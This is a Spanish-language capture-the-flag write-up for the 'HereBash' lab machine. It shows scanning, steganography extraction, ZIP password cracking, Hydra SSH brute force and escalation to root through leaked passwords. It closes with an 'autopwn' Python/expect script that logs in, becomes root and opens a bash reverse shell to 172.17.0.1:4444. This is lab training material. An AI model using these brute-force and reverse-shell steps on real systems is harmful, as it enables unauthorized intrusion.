> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/herebash-write-up.md).
# HereBash write-up
## **Verificamos conexión con la máquina víctima**
## **Escaneo de puertos abiertos y explotación de vulnerabillidades**
Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador.
Observamos lo que parece la página de apache2 generada por defecto, sin embargo, si lo inspeccionamos de forma cautelosa encontramos lo siguiente:
Si hacemos clic a la ruta `http:172.17.0.2/spongebob/spongebob.html` vemos lo siguiente:
Como no encontramos nada de valor usaremos la herramienta **ferobuxter** para enumerar rutas y archivos ocultos con el siguiente comando:
```bash
feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py,bak,jpg -d 0
```
Esto revela la ruta de la imagen `http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg`, así que vamos a descargarla y a buscar en caso de que hubiese un archivo oculto en la imagen.
Para buscar si la imagen tiene un archivo oculto usaremos **steghide** con el siguiente comando:
```bash
stegseek -wl ../rockyou.txt ohnorecallwin.jpg
```
Esto indica que dentro de la imagen se encontraba el archivo `seguro.zip` y que la palabra clave para obtener el archivo era `spongebob`, así que ahora descomprimiremos el archivo ZIP.
Pero al intentar descomprimirlo pide una contraseña, por lo tanto, usaremos **zip2jonh** para obtener el hash de la contraseña e intentar romperla.
```bash
zip2john ohnorecallwin.jpg.out > hash
```
Ahora usamos **Jonh the ripper** para romper la contraseña con el siguiente comando:
```bash
john --wordlist=/home/shinki/Escritorio/rockyou.txt hash
```
Esto indica que la contraseña del archivo ZIP es `chocolate`, así que lo descomprimimos.
El archivo `secreto.txt` contiene la palabra `aprendemos`, lo que podría ser una contraseña, así que haremos un ataque de fuerza bruta con la herramienta **Hydra**.
```bash
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p aprendemos ssh://172.17.0.2 -V -I -u -F -t 4
```
Con esto podríamos acceder por el servicio SSH a la máquina víctima usando la credencial `rosa:aprendemos`.
## **Escalada de privilegios**
Una dentro de la máquina víctima encontramos el directorio `/home/rosa/-/`, el cual contiene varios directorios archivos y un script.
Si analizamos el script observamos que se encarga de crear archivo en carpetas cuyo nombre comience por `busca` para crear 50 archivos que contengan `xxxxxx:xxxxxx`. Así que usaremos el siguiente comando para encontrar un archivo que contenga algo distinto.
```bash
find . -type f ! -name "*.sh" -exec cat {} + | grep -v "xxxxxx:xxxxxx"
```
Esto revela que la contraseña del usuario `pedro` es `ell0c0`.
Una vez somos el usuario `pedro`, encontramos el archivo `/var/mail/.pass_juan`, el cual contiene lo siguiente:
Así que iniciamos sesión como el usuario `juan` usando como contraseña `ZWxwcmVzaW9uZXMK`.
Ahora que somos el usuario `juan`, encontramos el archivo `/home/juan/.ordenes_nuevas`, el cual contiene lo siguiente:
Ahora si inspeccionamos el archivo `.bashrc` encontramos el siguiente alias definido:
Así que usamos `eljefe` como contraseña para iniciar sesión como usuario `root`.
## **Autopwn**
```python
import os
import time
import subprocess
def crear_script_expect():
print("[+] Creando script.exp...")
contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send "ssh rosa@172.17.0.2\r"
expect "password: "
send "aprendemos\r"
expect "*$ "
send "su\r"
sleep 1
expect " "
send "eljefe\r"
sleep 1
expect " "
send "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"
interact
"""
with open("script1.exp", "w") as f:
f.write(contenido)
print("[+] Archivo script.exp creado correctamente.")
os.system("chmod 0777 script1.exp")
def iniciar_escucha():
print(f"[+] Iniciando script...")
listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])
time.sleep(0.1)
win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
subprocess.run(["xdotool", "windowminimize", win_id])
def main():
crear_script_expect()
time.sleep(1)
iniciar_escucha()
time.sleep(0.2)
os.system("nc -nlvvp 4444 ")
os.system("rm script1.exp")
if __name__ == "__main__":
main()
```